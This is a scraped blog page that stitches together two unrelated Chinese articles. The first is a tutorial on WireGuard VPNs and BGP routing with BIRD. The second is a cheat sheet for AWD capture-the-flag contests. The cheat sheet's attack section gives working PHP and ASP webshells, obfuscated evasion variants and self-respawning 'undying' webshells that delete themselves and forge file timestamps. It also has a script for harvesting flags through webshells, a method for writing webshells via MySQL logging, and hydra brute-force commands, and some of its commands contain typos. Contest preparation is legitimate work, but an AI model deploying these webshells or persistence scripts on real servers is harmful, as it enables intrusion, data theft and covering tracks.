Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863100421

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

持續的遠程工作趨勢使企業組織嚴重依賴虛擬基礎架構與虛擬專用網絡(VPN)。它們在今天是非常常見的解決方案,但微調VPN 仍然是一項棘手的任務。

網絡管理員必須選擇相關工具並手動構建一個網絡,以滿足其組織在網絡安全、用戶匿名性和網絡複雜性方面的需求。有時,VPN 無法滿足組織的需求,組織不得不尋找軟件定義網絡(SDN) 等更複雜的技術。

在本文中,我們展示瞭如何設置可在現實場景中使用的安全虛擬專用網絡,以提供對本地和雲資源的訪問。我們還將了解SDN 的功能、優勢和關鍵應用。

本文對希望增強VPN 技術及其發展方向知識的團隊領導和產品經理很有用。

什麼是VPN? VPN是一種允許多台機器通過虛擬網絡連接的技術。與需要實際的電線和/或無線電發射器到位的物理網絡不同,虛擬網絡利用現有的物理基礎設施並純粹通過軟件方式定義其拓撲。

為了解釋VPN 的工作原理,讓我們定義一些術語,考慮我們期望常規網絡具有的屬性,並了解它們通常如何在VPN 中實現:

image.png

這些東西的工作方式在真實網絡和虛擬網絡中幾乎是一樣的。主要區別在於,在虛擬網絡中,分配了IP 地址的網絡接口是虛擬的,即在操作系統視為接口的背後沒有實際的物理設備。路由到此接口的流量由實現VPN 協議的軟件處理。

由於虛擬接口沒有與其關聯的物理設備,它不能直接將數據包發送到網絡中,因此它要求其他接口為它這樣做。當虛擬接口接收到數據包時,它會確定其在虛擬網絡中的目的地(接收方的IP 地址)。然後,接口背後的軟件檢查VPN 的配置,以找到與接收方網絡節點對應的物理接口的IP 或可以將數據包路由到它的節點的IP。這是這個過程的樣子:

image.png

物理接口不轉發原始數據(即VPN 數據包的有效負載),而是傳輸整個數據包和標頭。當接收方的節點收到數據包時,其虛擬接口可以解析它並確定下一步要做什麼。

VPN 本質上混淆了兩個對等點之間的物理網絡,使它們認為它們直接相互連接並在幕後傳輸流量。此屬性允許組織為其用戶提供從本地網絡外部對敏感資源的安全遠程訪問。此外,他們不需要根據物理網絡接口的IP 地址配置複雜的路由規則。

現在,讓我們通過實際示例詳細探討如何保護您的虛擬網絡。

使用VPN 增強網絡安全VPN 實現在數據離開虛擬接口之前對所有數據進行加密,並利用VPN 網關屏蔽網絡客戶端的實際IP。讓我們看看真實世界的VPN 協議Wireguard如何確保在虛擬網絡中保護傳輸中的數據和用戶匿名。

Wireguard 是一款開源軟件,可為您的VPN 添加加密功能。以下是我們如何使用Wireguard 配置文件表達上一節中的方案:

Device1configuration:

[Interface]

Address=10.0.0.1

PrivateKey=%device1's

key%

[Peer]

PublicKey=%device2的

公鑰

%

Endpoint=%device2的IP%:

51820AllowedIPs=10.0.0.2/32

Device2配置:

[Interface]

Address=10.0.0.2

PrivateKey=%device2的

私鑰

%

ListenPort=51820

[Peer]

PublicKey=%device1's

public

key%

AllowedIPs=10.0.0.1/32這兩種配置看起來幾乎相同。兩者都定義了一個具有特定IP 地址和關聯私鑰的虛擬接口,並相互交換公鑰。第二個設備承擔服務器的角色,定義其虛擬網絡對等點可以連接到的偵聽端口。如果未定義此端口,則入站數據包將被丟棄,從而阻止任何通信的發生。

但是,對等點不必公開偵聽端口,因為服務器將使用在它們連接後創建的套接字來響應它們。所有在10.0.0.1 和10.0.0.2 之間傳輸的數據包都將由Wireguard 加密,並使用UDP 傳輸協議通過物理網絡發送到它們的目的地。

現在讓我們擴展上面描述的簡單拓撲並在網絡中引入更多對等點:

image.png

在網絡中,Device1 和Device3 之間沒有直接連接,它們必須依靠Device2 來中繼它們的數據包。這是此設置的Wireguard 配置的外觀:

Device1configuration:

[Interface]

Address=10.0.0.1

PrivateKey=%device1'sprivatekey%

[Peer]

PublicKey=%device2'spublickey%

Endpoint=%device2'sIP%:51820

AllowedIPs=10.0.0.0/24

Device2configuration:

[Interface]

Address=10.0.0.2

PrivateKey=%device2'sprivatekey%

ListenPort=51820

[Peer]

PublicKey=%device1'spublickey%

AllowedIPs=10.0.0.1/32

[Peer]

PublicKey=%device3'spublickey%

AllowedIPs=10.0.0.3/32

Device3configuration:

[Interface]

Address=10.0.0.3

PrivateKey=%device3'sprivatekey%

[Peer]

PublicKey=%device2'spublickey%

Endpoint=%device2'sIP%:51820

AllowedIPs=10.0.0.0/24現在Device2的配置和原來的有很大的不同。它有兩個[Peer] 部分,對應於Device1 和Device2。每個部分都包含給定對等點的公鑰及其虛擬IP,以便Device2 知道將哪些數據包路由到哪裡。 Device1 和Device3 配置也有點不同:它們的AllowedIPs 字段現在包含的不是單個IP,而是10.0.0.0/24 子網。這意味著此子網中的所有IP 都將路由到Device2。

這種將一台設備用作網關的設置非常普遍。 Device1可以是員工在家訪問辦公室的電腦,Device3可以是連接公司內網的目標電腦,Device2可以是外部客戶端訪問本地設備的網關,例如Device3。

在Wireguard 接口之間流動的所有流量都經過加密,連接到此VPN 的設備(網關除外)都不知道對等方的物理IP。這種連接既安全又匿名。

為什麼簡單的虛擬網絡會演變成SDN?我們上面討論的示例拓撲可用於不需要復雜網絡的小型組織。大型公司、國際組織和雲計算採用者需要更複雜和精細的解決方案。複雜的虛擬網絡是許多現代組織的支柱,這些組織允許其員工遠程工作或在多個地點開展業務。

軟件定義的網絡方法在網絡交換機、負載平衡器、網關和其他元素之上添加專用網絡服務。這些服務充當網絡基礎設施和您的業務架構之間的附加控制層。通過這一層,您可以方便地配置和管理網絡中的端點,以及建立虛擬網絡安全性能監控。

軟件定義的網絡正在迅速流行,因為它允許組織:

image.png

簡化和集中網絡管理。網絡管理員可以使用軟件定義的網絡從一個地方管理他們的網絡,而不是分別處理每個基礎設施元素和VPN 協議。中間層幫助他們方便地編排網絡端點、配置流量優先級並添加安全機制,同時節省時間。

保持網絡配置一致。當從一個地方配置和管理所有基礎架構元素時,它們會一致地工作,並且不會在虛擬專用網絡安全性和性能方面留下任何差距。

加強網絡保護。 SDN 引入了額外的可能性來保護您的網絡,例如選擇性流量阻塞和路由到特定服務、網絡分段、自動安全更新以及所有網絡元素的識別。

優化負載均衡。配置有VPN 的簡單虛擬網絡為負載平衡提供的靈活性很小,因為它專注於在虛擬元素和真實元素之間傳遞流量。 SDN 控制器可以查看整個網絡中資源的可用性,並根據負載動態將流量重新路由到各個端點。

構建更複雜的網絡。網絡服務層允許您向網絡添加任意數量的虛擬資源、雲計算服務和基礎設施元素。使用SDN對於構建大型數據中心、國際企業基礎設施、雲服務等至關重要。

請記住,建立SDN 是一個複雜的過程,仍然需要您投入大量精力來設計和規劃您的網絡。但如果實施得當,軟件定義網絡可為您提供改進虛擬網絡的可能性。

現在,讓我們看看如何通過使用軟件定義額外的端點,將上面示例中的簡單網絡轉變為高級網絡。

配置高級網絡路由具有多個內網和雲服務的網絡需要更多的網關來管理不同的子網,平衡負載,並使虛擬網絡容錯。在物理網絡中,無數網關通過Internet 路由數據包。為了有效地做到這一點,他們使用了邊界網關協議(BGP)。該協議設計用於在網關之間共享路由和可達性信息。

讓我們探索擴展網絡拓撲的示例模式:

scheme_-_3(1).jpg

物理網絡接口上的特定IP 在這裡並不重要,因為所有設備都連接到不同的LAN。 Device1 和Device2 連接到Gateway1,而Device3 和Device4 連接到Gateway2。但是,例如,當Device1 試圖訪問Device3 時會發生什麼?

當Device1 將數據包發送到IP 地址10.0.0.4 時,它們被路由到Gateway1,因為該IP 屬於10.0.0.0/24 子網並且Wireguard 配置指示將這些數據包重定向到10.0.0.2 對等方。但是Gateway1 的配置不包含IP 為10.0.0.4 的任何對等點,因此它必須將接收到的數據包中繼給知道如何到達目的地的人。

這就是BGP 發揮作用的地方。 Gateway1 和Gateway2 建立BGP 連接並共享路由信息。要創建這樣的連接,您可以使用BIRD Internet Routing Daemon。 BIRD 守護進程的相應配置如下:

Gateway1config

protocolbfd{

interface'wg*'{

minrxinterval10ms;

mintxinterval100ms;

idletxinterval1000ms;

multiplier5;

};

neighbor10.0.0.5;

}

protocolstatic{

route10.0.0.1/32;

route10.0.0.3/32;

}

Gateway2config

protocolbfd{

interface'wg*'{

minrxinterval10ms;

mintxinterval100ms;

idletxinterval1000ms;

multiplier5;

};

neighbor10.0.0.2;

}

protocolstatic{

route10.0.0.4/32;

route10.0.0.6/32;

}每個配置的第一部分——protocol bfd——定義了向鄰居通告路由的條件。鄰居本身應該可以通過雙向轉發檢測(BFD) 協議訪問,該協議可以快速檢測兩個鄰居之間的鏈路是否斷開。

第二部分——靜態協議——定義了向鄰居通告的靜態路由。 Gateway1 共享到Device1 和Device2 的路由,而Gateway2 共享到Device3 和Device4 的路由。因此,當網關接收到一個IP 未出現在其配置中的數據包時,它可以檢查路由表以查看BIRD 守護程序是否接收到任何相關的路由信息並將數據包轉發到下一個網關。數據包將在網關之間傳輸,直到到達目的地。

為了獲得額外的可靠性,每個對等點都可以運行BFD 客戶端來檢測它們所連接的網關是否可達。如果對等點本身不可達,則可以指示BIRD 守護進程根據其BFD 連接狀態不通告其路由。我們可以通過將此代碼添加到上面的代碼而不是protocol static來實現:

protocolstatic{

route%peervirtualIP%/32multipath

via%wireguardinterface%bfd;

}有了這個,您將擁有一個可行的虛擬軟件定義網絡,該網絡連接多個端點,保護其中的數據,並提供一些擴展空間。

結論借助Wireguard 和BIRD 等現代工具,組織可以構建跨越多個內聯網的虛擬網絡,整合雲服務,並允許用戶通過精細控制安全地訪問所有必需的資源。

0# 什么是AWD

0.1# AWD赛制介绍

「 攻防模式 | AWD (Attack With Defense) 」 是 CTF比赛 「CTF Capture The Flag」 几种主要的比赛模式之一,该模式常见于线下赛。

在该模式中,每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox ),该环境通常运行着一些特定的服务或应用程序,而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞,获取 Flag 以获得积分; 同时,参赛队伍也需要修补自身服务漏洞进行防御,以防被其他队伍攻击和获取 Flag。

主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。

0.2# 比赛整体流程

  • 赛前准备环节:我们会分配到多个靶机服务器,通常是分配给我们 SSH 或者 VNC 的用户名和密码,还有相关IP等信息
  • 安全加固环节:我们需要先自己去登录靶机服务器,进行30分钟的安全加固(源码备份/弱口令修改/代码审计和修复/漏洞修复等)
  • 自由攻击环节:安全加固时间过后,开始自由攻击环节,通过对别的队伍的靶机服务器进行攻击(弱口令/Web漏洞/系统漏洞等)获得Flag进行加分,对应队伍失分

1# 比赛环境

通常比赛环境有以下三种情况:

  • 混合靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Win靶机 Windows Server 2003/2008/2012 或者 Windows 7 + Linux靶机 Centos7.x 或者 Ubuntu 16.04/17.01/20.04
  • 纯Linux靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Linux靶机 Centos7.x 或者 Ubuntu 16.04/17.01/20.04
  • 纯Windows靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Win靶机 Windows Server 2003/2008/2012 或者 Windows 7

2# 安全加固环节(Defense)

2.0# 基本加固流程

2.0.1 Windows加固流程

先备份:Web源码、数据库

  1. 445加固,开启防火墙或IP高级安全策略
  2. 开启系统日志审计功能
  3. 禁用guest账户、关闭文件共享
  4. 确保启动项内容是可控的
  5. 限制3389远程访问控制的连接数:在本地组策略编辑器里面,依次展开计算机配置-->管理模板-->Windows组件-->远程桌面服务-->远程桌面会话主机-->连接-->限制连接的数量
  6. 使用工具监控关键目录文件:文件操作监控.exe、御剑文件监控.exe
  7. 恶意代码文件,通过PCHunter、Monitor查找
  8. Web目录环境查找相关可疑文件:jpg/png/rar,查看属性、解压看文件内容
  9. NTFS扫描磁盘查找隐藏的交换流数据
  10. 查找系统所有账户信息,禁止非Administrator账户
  11. 修改Web站点管理员访问路径、默认口令、数据库口令
  12. 安装WAF脚本,防护Web站点,禁止其他漏洞

2.0.2 Linux加固流程

先备份:Web源码、数据库

  1. 系统口令修改,团队统一口令
  2. 通过 .bash_history 查找历史命令操作,发现痕迹
  3. 查看计划任务:crontab -l;编辑计划任务:crontab -e
  4. 查看 /etc/init.d/rc.local 中启动服务有无异常
  5. 使用脚本开启进程监控、目录监控、流量监控
  6. Web站点口令,站点管理员路径修改
  7. 系统加固:iptable

2.1# 基本信息搜集

在防守的时候,信息搜集也很重要,正所谓“知己知彼,百战不殆”

2.1.1 明确Linux机器信息

uname -a                       //系统信息
ps -aux                        //查询进程信息
ps -ef | grep 进程名称         //筛选指定进程
id                             //用于显示用户ID,以及所属群组ID
cat /etc/passwd                //查看用户情况
ls /home/                      //查看用户情况
find / -type d -perm -002      //可写目录检查
ifconfig                       //Linux上查看网卡信息

2.1.2 明确Windows机器信息

whoami /all                    //Windows上查看用户详细信息
ipconfig  /all                 //Windows上查看网卡信息

2.1.3 查看开放端口

netstat                                                       //查看活动连接
netstat -ano/-a                                               //查看端口情况
netstat -anp                                                  //查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent   //关闭端口
firewall-cmd –reload                                          //防火墙重启

2.1.4 默认口令(弱口令)更改

为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456

还有其他默认密码admin,top100, top1000等

尤其是WEB应用的后台密码修改

passwd username                                                  //ssh口令修改
set password for mycms@localhost = password('18ciweufhi28746');  //MySQL密码修改
find /var/www//html -path '*config*’                             //查找配置文件中的密码凭证

2.1.5 找本地Flag

grep -r "flag" /var/www/html/  //Linux:在Web目录下查找flag
findstr /s /i "flag" *.*       //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串

2.1.6 设置禁Ping

echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //临时开启禁ping
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //关闭禁ping

2.2# Web安全加固

2.2.1 备份源码

防止在对源码进行修改时出问题,或者被攻击方删除源码而准备

压缩源码:

tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

解压缩源码:

tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

备份源码:

mv web.tar /tmp
mv web.zip /home/xxx

上传和下载源码:

scp username@servername:/path/filename /tmp/local_destination  //从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path             //从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir          //从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir           //从本地上传整个目录到服务器

2.2.2 设置只读权限

对Web文件设置只读和执行权限(PHP等动态语言需要执行权限)

chmod 0555 /var/www/html/*
chmod 0555 /var/www/html/*.php

Web根目录设置只读和执行权限

chmod 0555 /var/www/html

改变文件的属主和属组来设置严格的权限

chown -R root:root /var/www/html/        //设置拥有人为 root:root 或 httpd:httpd (推荐)
chown -R apache:apache /var/www/html/    //确保 apache 拥有 /var/www/html/

2.2.3 配置 .htaccess

利用 .htaccess 配置文件禁止php文件执行

<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。
php_flag engine off     //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 脚本的能力。
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>  //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件,并将其访问权限设置为拒绝所有
</Directory>

2.2.4 PHP参数安全配置

首先找到PHP的配置文件

/etc/php/{version}/php.ini

禁用高危函数

disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

配置 open_basedir (将用户访问文件的活动范围限制在指定的区域)

open_basedir=/var/www/html

禁用魔术引号(自动对外部来源数据进行转义,防止SQL注入)

magic_quotes_gpc = Off

关闭PHP伪协议

allow_url_fopen = Off
allow_url_include = Off

重启PHP

sudo service php7.0-fpm restart
sudo systemctl restart php7.0-fpm.service

2.3# 数据库安全加固

2.3.1 Mysql加固

为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456

  1. 不使用默认口令,修改成复杂的,并确保和web环境连接
  2. 设置只允许本地127.0.0.1账户登录:修改 bind-address=127.0.0.1 ;在配置文件中加入 seccure_file_priv=NULL
  3. 开启日志审计功能:general_log_file=路径

因为最常用的是Mysql数据库,所以基本的攻防大部分都是用MySql数据库的命令

备份指定数据库:

mysqldump –u username –p password databasename > target.sql

备份所有数据库:

mysqldump –all -databases > all.sql

导入数据库:

mysql –u username –p password database < from.sql

对于MySQL的攻防,可以看这篇文章:https://blog.zgsec.cn/archives/26.html

MySQL默认配置文件路径:

C:\\Program Files\MySQL\MySQLServer 5.1\my.ini   //Windows
/etc/my.cnf                                      //Linux
/etc/mysql/my.cnf                                //Linux

修改 secure_file_priv 参数(日志功能的对应目录)

secure_file_priv=""

重载MySQL配置

FLUSH PRIVILEGES

重启MySQL服务

sudo service mysql restart
sudo systemctl restart mysql

2.3.2 Mssql加固

  1. 删除不必要的账号
  2. SQLServer用户口令安全
  3. 根据用户分配帐号避免帐号共享
  4. 分配数据库用户所需的最小权限
  5. 网络访问限制
  6. SQLServer登录审计
  7. SQLServer安全事件审计
  8. 配置日志功能

2.4# 远程控制加固

2.4.1 SSH安全加固

限制IP登录方法

sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件
AllowUsers username@192.168.0.100    //找到并编辑以下行,确保其取消注释并设置为所需的IP地址

禁用 root 远程登录

sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件
PermitRootLogin no                   //将PermitRootLogi设置为“no”

按用户和组限制SSH登录

sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件
AllowUsers testuser                  //设置只允许 testuser 登录SSH
AllowUsers testuser@192.168.1.100    //设置只允许 192.168.1.100 的机器用 testuser 账户登录SSH
AllowGroups test                     //设置用户组白名单
//需要注意的是:如果同时指定了 AllowUsers 与 AllowGroups 那么必须要在两个选项中都匹配到的用户才能进行SSH登录

重启SSH服务

sudo service sshd restart
sudo systemctl restart sshd.service

2.4.2 RDP远程登录安全加固

删除默认帐户并手动添加新用户:

  • 步骤1:按 Win + R 打开运行对话框,输入 secpol.msc 并单击 “确定”
  • 步骤2:导航至此处:本地策略-->用户权限分配,再双击打开 “允许通过远程桌面服务登录”
  • 步骤3:删除此窗口中列出的管理员和远程桌面用户(或计算机上的任何其他用户或组)
  • 步骤4:之后单击 “添加用户或组” 并手动添加您要授予远程桌面访问权限的用户

更改默认RDP端口号:

  • 步骤1:打开运行对话框,输入 regedit 并单击 “确定”
  • 步骤2:打开 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp ,向下滚动并找到 PortNumber 然后双击它
  • 步骤3:选择 “十进制”,修改为您想要设置的端口号,然后单击 “确定”

2.5# 应急响应

2.5.1 查询进程线程

netstat
ps -aux
netstat -apt

2.5.2 杀掉进程

kill -9 pid            //Linux上
taskkill /f /pid pid   //Windows上

2.5.3 搜索WebShell文件

find /var/www/html -name *.php -mmin -5                        //查看最近5分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u                  //寻找行数最短文件,一般有可能是一句话木马
grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    //查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more //在Linux系统中使用find、grep和xargs命令的组合,用于在指定目录(/var/www/html)下查找所有以.php为扩展名的文件,并搜索这些文件中包含字符串"eval("的行,并使用more命令来分页显示结果以便在输出较长时进行逐页查看

2.5.4 查杀不死马

也可以利用命令自动进行查找删除

ps -aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9

然后重启服务

service php-fpm restart

2.5.5 杀弹反弹shell

老规矩查看进程

ps -ef
px -aux
ps -aux | grep www-data

注意 www-data 权限的 /bin/sh,很有可能是nc

再就是上老一套命令

kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'

3# 自由攻击环节(Attack)

3.0# 主要准备内容

  1. 各类CMS软件包最新版准备
  2. 扫描工具:Nmap、Nessus、Metasploit更新
  3. 漏洞利用脚本Poc、Exp

3.1# 基本信息搜集

3.1.1 主机信息搜集

Nmap

namp -sn 192.168.0.0/24            //C段存活扫描

httpscan

httpscan.py 192.168.0.0/24 –t 10   //C段存活扫描

3.1.2 端口扫描

nmap -sV 192.168.0.2               //扫描主机系统版本
nmap -sS 192.168.0.2               //扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2     //扫描主机部分端口
nmap -sS -p- 192.168.0.2           //扫描主机全部端口

Python脚本

import requests

for x in range(2,255): 
    url = "http://192.168.1.{}".format(x) 
    try: 
        r = requests.post(url) 
        print(url) 
        except: 
        pass

3.2# 外部打点

3.2.0 常见系统漏洞

  • MS17-010(永恒之蓝,可看https://blog.zgsec.cn/archives/172.html)
  • MySQL进行UDF提权(SQL注入或者MySQL弱口令)
  • MsSQL进行系统命令执行(SQL注入或者MsSQL弱口令)
  • SSH弱口令或默认口令
  • PWN(这个要看具体AWD比赛提供的内容了)

3.2.1 中间件漏洞

  • IIS(解析漏洞、远程代码执行)
  • Apache(解析漏洞)
  • Nginx(解析漏洞)
  • Jboss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501)
  • Mysql(弱口令)
  • Tomcat(弱口令Getshell)
  • Weblogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883)
  • SpringBoot(未授权访问漏洞和RCE漏洞,具体可看https://blog.zgsec.cn/archives/129.html)

3.2.2 集成服务环境漏洞

  • wampserver
  • xamppserver

3.2.3 CMS漏洞利用

搜集最新版本的CMS,以及对应的漏洞Poc和Exp,这里仅仅列举部分CMS:

  • Aspcms
  • Dedecms
  • Dicuz
  • Drupal
  • Empirecms
  • Eshop
  • Finecms
  • Joomla
  • Lamp
  • Metainfo
  • Phpcms
  • Phpwind
  • Qibocms
  • Seacms
  • Semcms
  • ThinkPHP
  • Wolfcms
  • Wordpress
  • Zabbix

备份文件爆破:使用7kbScan等目录扫描工具对Web系统进行爆破

3.2.4 上传WebShell

常见一句话木马

PHP: <?php @eval($_POST['pass']);?>      <?php eval($_GET['pass']);
Asp:   <%eval request ("pass")%>
Aspx:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

Get型木马

<?php eval($_GET['pass']);           //利用方式/shell.php?pass=eval($_POST[1]);

免杀马制作:https://github.com/AabyssZG/WebShell-Bypass-Guide

<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);                            //执行GET传参 ?_=system&__=whoami 来执行whoami命令
<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);   //执行GET传参 ?_=assert 和POST传参 __=PHP代码来GetShell

隐藏的文件读取

<?php
header(php'flag:'.file_get_contents('/flag'));

条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现

3.2.5 利用WebShell

curl(跟hackbar差不多)

C:\Users\admin>curl "http://192.168.182.130:8801/include/shell.php" -d "admin_ccmd=system('cat /f*');"
//向shell.php文件里传入参数并返回结果

Python多端口传参

#coding=utf-8
import requests

url_head="http://192.168.182.130"   #网段
url=""
shell_addr="/upload/url/shell.php" #木马路径
passwd="pass"                   #木马密码
#port="80"
payload = {passwd: 'System(\'cat /flag\');'}
# find / -name "flag*"

#清空上次记录
flag=open("flag.txt","w")
flag.close()
flag=open("flag.txt","a")

for i in range(8000,8004):
    url=url_head+":"+str(i)+shell_addr
    try:
        res=requests.post(url,payload)#,timeout=1
        if res.status_code == requests.codes.ok:
            result = res.text
            print (result)
            flag.write(result+"\n") 
        else:
            print ("shell 404")
    except:
        print (url+" connect shell fail")

flag.close()

3.2.6 MySQL数据库利用

具体可以看这篇文章:https://blog.zgsec.cn/archives/26.html

1、查看MySQL版本

show variables like '%version%';
select version();      #这个只显示MySQL版本号

2、查看 load_file() 开启状态

show variables like '%secure%';       #这条可查看详细信息
show global variables like '%secure_file_priv%';

3、查看日志功能是否开启和对应目录

SHOW VARIABLES LIKE 'general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/test.php';   #可以写入WebShell然后直接连接蚁剑

# 往日志里面写入 WebShell
select '<?php @eval($_POST['AabyssTeam']);?>';
# 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现

小技巧:获取MySQL账户和对应密码Hash

# MySQL <= 5.6 版本
select host, user, password from mysql.user;

# MySQL >= 5.7 版本
select host,user,authentication_string from mysql.user;

3.2.7 弱口令爆破

爆破SSH密码

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ssh
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100
hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100 -s 40      //40是⽬标服务开放的端⼝

爆破FTP密码

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ftp
hydra -L 用户名字典.txt -P 密码字典.txt ftp://192.168.1.100/

爆破RDP远程桌面密码

hydra 目标IP地址 rdp -l administrator -P 密码字典.txt -V

爆破Telnet

hydra 目标IP地址 telnet -l 用户字典.txt -P 密码字典.txt -f -V

爆破MSSQL数据库

hydra -l sa -P 密码字典.txt 目标IP地址 mssql

爆破MySQL数据库

hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 mysql

3.3# 内网渗透

3.3.1 权限维持之不死马

简单不死马:

<?php
set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行
unlink(__FILE__);     //删除自身

while(1)
{
    file_put_contents('shell.php','<?php @eval($_POST["AabyssTeam"]);?>');  //创建shell.php
    sleep(0);    //间隔时间
}

可以通过不断复写 shell.php 来达到该木马难以被使用的效果

防连接不死马:

<?php
set_time_limit(0);   // 取消脚本运行时间的超时上限
ignore_user_abort(1);  // 

while(1)
{
    file_put_contents('shell.php','<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>');  //创建shell.php
    sleep(0);
}

//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

进阶不死马:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';

while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2020-12-01 09:10:12" shell.php');  //修改时间,防止被删
    usleep(5000);
}
?>

//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为 shell.php 的WebShell文件

双重不死马:

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php'; 
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';

while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2020-12-01 18:10:12" .login.php');
    file_put_contents($file1,$code);
    system('touch -m -d "2020-12-01 18:10:12" /admin/.register.php');
    usleep(5000);
}
?>

//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

浏览器访问写入的WebShell,会自动生成两个不死马: .login.php 和 /admin/.register.php

3.3.2 关键文件检索

组件检索

find / -name "apaech2.conf"                 //检索Apache主配置文件
find / -name "nginx.conf"                   //检索Nginx目录
find / -path "*nginx*" -name nginx*conf     //检索Nginx配置目录
find / -name "httpd.conf"                   //检索Apache目录
find / -path "*apache*" -name apache*conf   //检索Apache配置目录

网站首页

find / -name "index.php"                    //定位网站目录
find / -name "index.html"                   //定位网站目录

日志文件检索

/var/log/nginx/                           //默认Nginx日志目录
/var/log/apache/                          //默认Apache日志目录
/var/log/apache2/                         //默认Apache日志目录
/usr/local/tomcat/logs                    //Tomcat日志目录
tail -f xxx.log                           //实时刷新滚动日志文件

3.3.3 Linux提权

查询系统版本信息命令:

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

查询内核版本信息命令:

uname -a
uname -mrs
cat /proc/version
cat /etc/issue
lsb_release -a
hostnamectl  
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz

查看系统环境变量命令:

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

查看语言环境信息命令:

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
set

查看文件上传环境信息命令:

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

这里列举一些可用利用的提权漏洞:

  • CVE-2023-0386(Linux OverlayFS权限提升漏洞)
  • CVE-2021-4034(Linux Polkit本地权限提升漏洞)
  • CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 )
  • CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64))
  • CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)
  • CVE-2017-1000367(sudo本地提权漏洞 )
